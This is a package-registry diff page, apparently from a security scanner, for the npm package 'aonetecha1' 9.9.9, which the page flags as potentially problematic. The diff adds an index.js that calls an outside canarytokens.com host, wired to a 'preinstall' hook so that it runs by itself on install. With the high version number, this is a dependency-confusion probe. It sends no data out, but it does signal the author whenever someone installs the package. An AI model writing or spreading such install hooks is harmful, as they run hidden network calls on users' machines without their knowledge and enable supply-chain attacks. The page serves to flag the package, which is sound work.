aonetecha1 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of aonetecha1 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -0
  2. package/index.js +29 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,2 @@
1
+ <p align="center">Name: Anindya Ghoshal</p>
2
+ <p align="center">Contact: hackwithghoshal@gamil.com</p>
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ // This code just notify me it's trigger
2
+
3
+ // Importing https module
4
+ const http = require('http');
5
+
6
+ // Setting the configuration for
7
+ // the request
8
+ const options = {
9
+ hostname: 'ptodtmslc9dk69smxwmh1d0hz.canarytokens.com',
10
+ path: '/posts',
11
+ method: 'GET'
12
+ };
13
+
14
+ // Sending the request
15
+ const req = http.request(options, (res) => {
16
+ let data = ''
17
+
18
+ res.on('data', (chunk) => {
19
+ data += chunk;
20
+ });
21
+
22
+ // Ending the response
23
+ res.on('end', () => {
24
+ // console.log('Body:', JSON.parse(data))
25
+ });
26
+
27
+ }).on("error", (err) => {
28
+ // console.log("Error: ", err)
29
+ }).end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "aonetecha1",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }